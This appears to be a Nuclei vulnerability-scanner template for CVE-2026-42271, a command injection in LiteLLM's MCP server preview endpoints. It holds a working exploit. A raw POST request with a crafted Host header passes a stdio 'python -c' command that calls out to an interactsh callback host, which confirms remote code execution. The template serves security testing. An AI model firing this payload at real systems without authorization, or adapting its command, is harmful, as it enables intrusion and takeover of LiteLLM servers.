id: CVE-2026-42271

info:
  name: "LiteLLM - Command Injection"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    LiteLLM is a proxy server (AI Gateway) to call LLM APIs in OpenAI (or native) format. From version 1.74.2 to
    before version 1.83.7, two endpoints used to preview an MCP server before saving it — POST /mcp-
    rest/test/connection and POST /mcp-rest/test/tools/list — accepted a full server configuration in the request
    body, including the command, args, and env fields used by the stdio transport.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-42271&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=litellm&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-42271
    cwe-id: CWE-77
  metadata:
    verified: false
  tags: cve,cve2026,litellm,rce,command-injection,mcp,starlette,kev,vkev
variables:
  payload: '{"transport":"stdio","command":"python","args":["-c","import urllib.request;urllib.request.urlopen(''https://{{interactsh-url}}'')"]}'

http:
  - raw:
      - |
        POST /mcp-rest/test/connection HTTP/1.1
        Host: a/?x=
        Content-Type: application/json
        Content-Length: {{len(payload)}}

        {{payload}}

    unsafe: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Failed to connect to MCP server"

      - type: status
        status:
          - 200

      - type: word
        part: interactsh_protocol
        words:
          - "http"

    extractors:
      - type: kval
        kval:
          - interactsh_ip